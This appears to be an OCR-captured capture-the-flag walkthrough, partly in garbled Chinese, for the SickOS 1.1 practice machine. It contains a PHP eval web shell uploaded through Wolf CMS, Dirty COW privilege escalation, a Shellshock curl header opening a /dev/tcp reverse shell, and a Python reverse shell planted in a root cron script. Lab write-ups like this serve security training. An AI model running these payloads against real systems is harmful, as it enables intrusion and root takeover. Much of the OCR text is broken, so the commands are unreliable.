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Service detection performed. Please report any
Nmap done: 1 IP address (1 host up) sca d 1n
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I m ERROR
o

 The requested URL could not be retrieved

The following error was encountered while trying to retrieve the URL: [
Invalid URL
Some aspect of the requested URL is incorrect.
Some possible problems are:
« Missing or incorrect access protocol (should be “http://” or similar)
« Missing hostname
« lllegal double-escape in the URL-Path
+ lllegal character in hostname; underscores are not allowed.

Your cache administrator is webmaster.

Generated Tue, 29 Mar 2022 14:17:28 GMT by localhost (squid/3.1.19)
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e trying to retrieve the URL: /

yrect.

ol (should be “http://” or similar)
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dirb http://192.168.1.12 -p 192.168.1.12:3128
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http://192.

DIRB v2.22
By The Dark Raver

START_TIME: Tue Mar 29 22:34:08 2022

URL_BASE: http://192.168.1.12/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: 192.168.1.12:3128

GENERATED WORDS: 4612

Scanning URL: http://192.168.1.12/
http://192.168.1.12/cgi-bin/ (CODE:403|SIZE:288)
http://192.168.1.12/connect (CODE:200|SIZE:109)
http: .168.1.12/index (CODE:200|SIZE:21)
http: 92.168.1.12/index.php (CODE:200|SIZE:21)
http://192.168.1.12/robots (CODE:200|SIZE:45)

+ http://192.168.1.12/robots.txt (CODE:200|SIZE:45)
http://192.168.1.12/server-status (CODE:403|SIZE:293)

END_TIME: Tue Mar 29 22:34:48
DOWNLOADED: 4612 - FOUND: 7
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192.168.1.12/robots.txt
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User-agent:
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cmsis i getshell

& Home Page X | 192.168.1.12/
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WOIf content management simplified

About Me Home Page

I'm just a demonstration of how easy it
is to use Wolf CMS to power a blog. My second article

This is my second article.
Favorite Sites

*osted by Administrator on Sat, 5 Dec 2015
My first article

Recent Entries ) . _
My first test of my first article that uses Markdown.

Syndicate

RXRACms, ZHEERITRE, HAEIERAD T RIFEKERE, RTAARE


https://docs.qq.com/doc/DVExrc2JqUU1DWWd5
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Exploit Title

by-One

*Twitter

# Website

# Additional Links
* http

*

#iFor POC -

bsecgeeks.c

ription

ry registered users a s of upload functionality can up
an Arbitrary File Uj perf mand Execution

Vulner
admin/plugin/file_manage
Vulnerable Parameter

“filename"

2. Proof of Concept
A)Login as regular user ( who have acce upload functionality )

B)Go to this pag
argetsite.com/wolfcms/?/admin/plugin/file_manager/brows

C)Select upload an file option to upload Arbitary File ( filename e

the file by he
ublic/ Llo.php
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Login - Wolf CMS

Username: Password:

D Remember me for 30 minutes

Login (Forgot password?)

Wolf CMS

BFANERERE, 20X ERE T KRS RN T
HEAEER, adminadming kit E

SR JE LR AR AE exploitrh i B STAFAR & U AT

& 192.168.1.12

Kali Linux §8 Kali Tools <« Kal N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Wolf CMS

Pages Snippets Layouts

File Permissions Modified
J images 4 kb drwxrwxrwx (8777) Sat, 5 Dec, 2015 (LN -]
{ themes 4 kb drwxrwxrwx Sat, 5 Dec, 2015 oue
dirty.c 4.7 kb - WX PWX WX Sun, 27 Mar, 2622 (T} -]
exp eb -rwir-xr-x (8755) Sun, 27 Mar, 2022 sa
exp2 12.17 kb ~PWXF X=X Mon, 28 Mar, 2022 (L} -]
s.sh 87.51 kb - PWX FWX WX Sun, 27 Mar, 2022 (TN -]
M shell.php “b -TW-F-afe Sun, 27 Mar, 2622 (T} -]

Thank you for using Wolf CMS 0.8.2 | Feedback | Documentation

shell.phpst 2 AR B SCH:, AR5 Rt iZ 301 B RE 5 g 4
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S lAshell.php B A4
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Pages Snippets Layouts

public/shell.php

Filter —none— v |
<7php

system( 'whoami')

7>

192.168.1.12/wolfcms/publ

e

Kali Linux # KaliTools « KaliDocs N KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

www-dat
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WOIT CIVI>

Pages Snippets Layouts

public/shell.php

Filter —none— v

<?php
@eval (3 REQUEST['gmd'1);

>

TR S)X B B B ACE
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fvar /wnwi/wolfcms/public
!
Linux SickOs 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40
: www-data
(*) $iA ashelp BHEHEEGS
( H ) & cd /var/www/wolfcms/public/images/
( ) § whoami
www—-data
{ H }) & find / -perm -u=3 -type f 2>/dev/null
Jusr/lib/dbus-1.0/dbus—daemon—1launch-helper
/usrc/lib/eject/dmcrypt—-get-device
Jusr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
Jusr/bin/sudo
Jusr/bin/sudoedit
Jusr/bin/passwd
Jusr/bin/mtr
jusr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
Jusr/bin/at
Jusre/bin/chsh
Jfusr/bin/traceroutes.iputils
/usrc/sbin/pppd
/usr/sbin/uuidd
/bin/pingé
/bin/fumount
/bin/su
/bin/mount
Jbin/fusermount
/bin/ping
{ H sudo -1
sudo: no tty present and no askpass specified
Sorry, try again.
sudo: no tty present and no askpass gpecified
Sorry, try again.
sudo: no tty present and no askpass specified
Sorry, try again.
sudo: 3 incorrect password attempts
i :

IFRERRA, X BB L —Minux-suggestC i, A BRI R 45 14 YRR BT LRI

T H IR Hys.sh, 2 iiE T ALPR 3447

( H ) & ./s.sh
O[1;3"TmAvailable information:0[0m

Kernel version: O[1:32m3.11.00[0m

Architecture: 0O[1;32mi3860[0m

Distribution: 0O[1:32mubuntul [0Om

Distribution version: 0O[1;32ml12.040[0m

Additional checks (CONFIG_*, sysctl entries, custom Bash commands): 0O[1;32mperformed([Om
Package listing: O[1;32mfrom current OSO[0Om

0O[1;37mSearching among:0[0m

79 kernel space exploits
49 user space exploits

O[1;37mPossible Exploits:0[0m

cat: write error: Broken pipe
[+] O[1;32m[CVE-2016-5199]0[0m dirtycow

Details:

Exposure: highly probable

Tags: debian=7|8,RHEL=5{kernel:2.6.(18124133)-*),RHEL=6{kernel:2.6.32-*|3.(0121618110) .*12.6.33.9-rt31},RHEL=7{kernel:3.10.0-*14.2.0-
0.21.e17},0([0;93m[ ubuntu=16.04|14.04112.04 ]O[Om

Download URL:

Comments: For RHEL/CeptOS ssssexact amlnerable usrsions here:

[+] D[1:32m[CVE-2016-5195]0[0m dirtycow 2

Details:

Exposure: highly probable

Tags: debian=7|8,RHEL=5|617,0[0;93m[ ubuntu=14.04|12.04 ]0O[Om,ubuntu=10.04{kernel:2.6.32-21-generic),ubuntu=16.04{kernel:4.4.0-21-
generic}

Download URL:




WATREERRZEWA, PEERRAE S

i B ] B i — T AR $R AL

ZimiBREA, LinuxREZRNARFFRFEECES TS
(copy-on-write, COW) B4 7RAFMH (race
condition) , EEAFERIBLRE, KNSR, %
RIFEAFRSTFHITERRRS2EYS, ENEESRITHFER
2, oSHNAMEE, BRSEEEBYIEIE, H—PHRiT
fftes. FIAX—mE, NEETERBERRGEAR,
HZEo]gER8roottiE

AR EAREAF RO GRS WS EE L) , 5 HMFHAT

gcc -pthread dirty.c -o exp3 -lcrypt

R iEdirty . c XX FHRTE Nexp3

./exp3 123

AT exp3 JE TH BRI R E UG RE, ZEABRUK Rroot P & F BB firefart, JiA—BRIURT), H#su firefart AJ5HANINIE

B RS L RE VI e Bl root F

( : ) >c -pthread dirty.c -o exp3 -lcrypt
{ . ;

dirty.c exp exp2 exp3 images shell.php themes
( i 9

( H

firefart: fiRbwOlRgkx7g:0:0:pwned:
/usr/sbin:/bin/sh

www—-data: avsr/uw /bin/sh
yackup: /var/backups: /bin/sh
ailing Li Manager:/var/list:/bin/sh
ircd:/var/run/ircd: /bin/sh
:Gnats Euq Rﬂpcrtln; System (admin):/var/lib/gnats:/bin/sh

114:MySQL Server,,,:/nonexisten tln false
) §

PAT X 4 J5 B Al LA Bl /etc/passwd H fiirootF P IS B B4 U N firefart, J5 TH it 2 B AT TR NI B8 B 1 35 9 1 23 1) i 25 {E



BRI suTI B -, BRI sshig#

AR E AR, RGERE KLU0 GRS B 5, ERREREEERBRNFEEEFRT . rootH T Kiflag

ssh firefart@®192.168.1.1:
firefart®192.168.1.12"' jord:
Welcome to Ubuntu 12.04.4 (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

System information as of Mon Mar

System load:

Usage of /: 3% of 28.42 U d in:
Memory usage: 99 > address for eth@:

Swap usage:

Graph this data and manage this s
https://landscape.canonical.co

124 packages can be updated.
92 updates are securilty updates.

New release "14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Dec 6 21:12:37 2015
firefart@SickOs:~# cat /root/a@216eatd51874464
If you are viewing this!

ROOT!

You have Succesfully completed Sick0S1.1.

Thanks for Trying

firefartasickos:~# |

XMRRN—NMTEDSRE, a0, BRREXAREEMRNNMEEBHREDERNBERRE), ERRERENSZSBHRAR, H
REABEHRT, REME T —THMAKwWp, RILRZHEIHEAIE I connect.pytEil, 1 Hgetshell 2 i it
shellshock (B7%) RLIK, XEEH—TFREMNWIEREEIT—T.

BT & http-proxyZE AR — 4, 2R J5 28 A niktoFT # P 3k

nikto -useproxy http://192.168.0.71:3128 -host http://192.168.0.71

H-userproxy REMRE XEEREAFTEIMipik T




21 (GMT8)

the MIME typ

wlth f
(Ubuntu)

y brute force file r

T T

the EOL for the 2.x branch.

vulnerability (htt

X B H/cgi-bin/statusiX B 7] & 77 #E shellshock i, X B8 T — T XK.

H B fibashf F (3 5 2 B Rl R B FRRIBA K, S BURTR W R BR DO T3k SCRIFR 3R B 7E i & ENV A AT R 2R £
JG, Bash$uITIFRBH, TRLSEMITIHHATshelldr €. BOKRRETERARTIEHEA R RELR, BHEBEELT
ST

fi i curl Uk — A LR

curl --proxy 192.168.0.71:3128 -H 'x: () { :;};a in/id" ;echo $a ' http://192.168.0.71/cgi-bin/status

192.168.0.71:3128 X ibia ] id" ;ec http://192.168.0.71/cgi-bin/status
Content-Type: application/json

{ "uptime": " @9 up 36 min, @ users, load average: 0.00, .01, 0.01", "kernel”™: "Linux SickOs 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30
17:42:40 UTC 2014 i686 athlon i386 GNU/Linux"}

BAEEID, ARETRGEER, =l —T RiEshel

FHEAHIT R BT

listening on

SRJE AT T T X %% Ay & [ #ishell

curl --proxy 192.168.0.71:3128 -H ‘'x: () { :;}; /bin/bash -i >& /dev/tcp/192.168.0.48/8888 ©>&1 ' http://192.

168.0.71/cgi-bin/status

RN



-

Unknown host

50170

Al Nconnect.pytb 8 AT &8, "B BT A & R&root, {BRAFA P E AT AT B AT

var,/ www E'

]_ 5
-rwxrwxrwx 1 root root 109 Dec

XEEE—TFiHRHES, linuxitRI{E S BUE lete/cron® /3044 1,

letcicron.hourly/ H 3% F 2 12 R G4 /N B B R AE 25 7T $RAT I AR
letc/cron.daily/ H 3 N 2 R S8R EMAES vl 47 B 4
letcicron.weekly/ H 3% T 212 R 44 A Z MBI AR S ol $uAT A
letc/cron.monthly/ H 3 N 2 R 45 A BE MRS v 47 4

e R ATHATIIA, R cronfit B XX, crond k4@ i run-parts T E I FH #4147 1X Lo i 4
BT BT LA CE FHE S5 B A A B — AN B B [ S crond MR BRATEB R <8, SRIERT

MRMER N4 /R RESE, —FF R BB M/etc/crontab. H2, —fEABRBGXFEM, /etc/crond BFER AT ik
X A BT B

Blhn, Hhn—IER &S, BATATCUXFEALEE . 7E/etc/cron.d B 3¢ F & X fbackup.sh, HZ&EMT:

# m h dom mon dow user command

* 1 * * * poot /sbin/mon_zetc logtar.sh

cron# FEHATHS, B BEhEARZ B R THIFAE XM, 158 SCH A H I 18] B E AT & T K62 .

cronBATES, 5k BRI = AN 5 BC B SOftk: — R /etc/crontab, —R/etc/crond B # TR XM, =28 MNHARERE T
4

P LB AT BT iy @ EE KU RIES

1ls -al /etc/cron*

#Hetc HRXTHA Llcrondfk i 3044




ww-data@SickOs: /usr/lib/cgi-bin$ 1ls -al /etc/cronx
ls -al /etc/cron
-rw-r-——r— 1 root root 722 Jun 20 2012 /etc/crontab

/cron.d:
70
409

-TW-Tr—Tr-— r i 2 2013 _r".'| archnldar
o 4 e "00 201p automate
-rw-r—r-— "y "00 ul 2 2015 phps

root root 4096
root root
root root

root

W M
< = < I S

apache?2

apport

apt

aptit

bsdmainutils

dpkg

logrotate

man-db

mlocate

passwd

popularity-contest

standard
date-notifier-common

=t = D N
=

[# I

root
root
root root
root root

1
1
1
1
1
1
1
1 ]
1
1
1
1
1
1

[N
=N W~

/etc/cron.hourly:
total 12

drwxr-xr-x 2 root root Sep 22
drwxr-xr-x 90 r root 4096 Mar

}1 2822 ..
-rw-r—r— 1 root 102 Jun 2@

@ 2012 .placeholder

|
>
rd

ww -da ckOs:/usr/l1ib/cgi-bin$ cat /etc/cron.d/automate

cat /etc/ d/al ate

~/bin/python /var/www/connect.py

ERTIEFNER A HINRES, B, H, A, B, REANESErEIHHaHIT.

R L B ATT AT BAAR H X N connect. py #4381 #8 < Lhroot B P 34T, T BLBRATRT BACLE @ P 1 & B Sox AN Ut . X B A LR
FiEBEfag T, W 5EME FHpython os.system#u AT 4 & #ishell, ] DL E #4# Fpython #ishell, 7] L% root H i kA
FRATA P #R R AV ), HZE B iketc/passwd A P HIALRR, X ELERA1H A & #shell T IR

BRBX BB IMNEEEMEMvimESconnectpy, XHEMSEIITF, {3 pythoniiptyZRk 18 HH X #2 5E Kshellif & B A% Fvim&i 8,
Tx B HEERBGEN LS 170 (shell.py), £ FAwgetSREUT £ EIFEHL.

pythonftRg &~



! /bin/python

import socket, subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK STREAM)
s.connect(("192.168.1.15",8888))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

R JEFE BTN 2 BT B8 42 7T )5 http iR 55

nttp.server
ring HTTP on 0.0 "t 8000 (http:
.168.1.12 21:45:57] code
' 21:45:57] "GET /connect.py HTTP/1.1"
21:47:07] “GET / nect.py HTTP/1.1" 2
21:48:01] "GET /shell.py HTTP/1.1"

~
W oW W
NNINN

FEREHLEE A
wgetiREtpythonfii 4
$ wget http:/
wget http://

connected.
200

18 F catdir & ¥t shell.py% 1 Flconnect.pyt



at shell.py > connect.py
shell.py > connect.py
cat connect.py
connect.py
#! /bin/python

mport socket,subprocess,o0s

.SOCK_STREAM)

os.dup2(s.fileno( ),0)

os.dup2(s.fileno(),1)

0os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/bash”,"-1i"])

up failed: ( L
(UNKNOWN) [192.168.1.12] 60057
this shell




lookup failed:
1.15] from (UNKD
sh: no jo ontrol in this shell

ls /root

a0216ea4d51874464078

cat
C /roc 216ea4d518744
If you are viewing this!

ROOT!

You have Succesfully completed Sic

XA B BEE R !
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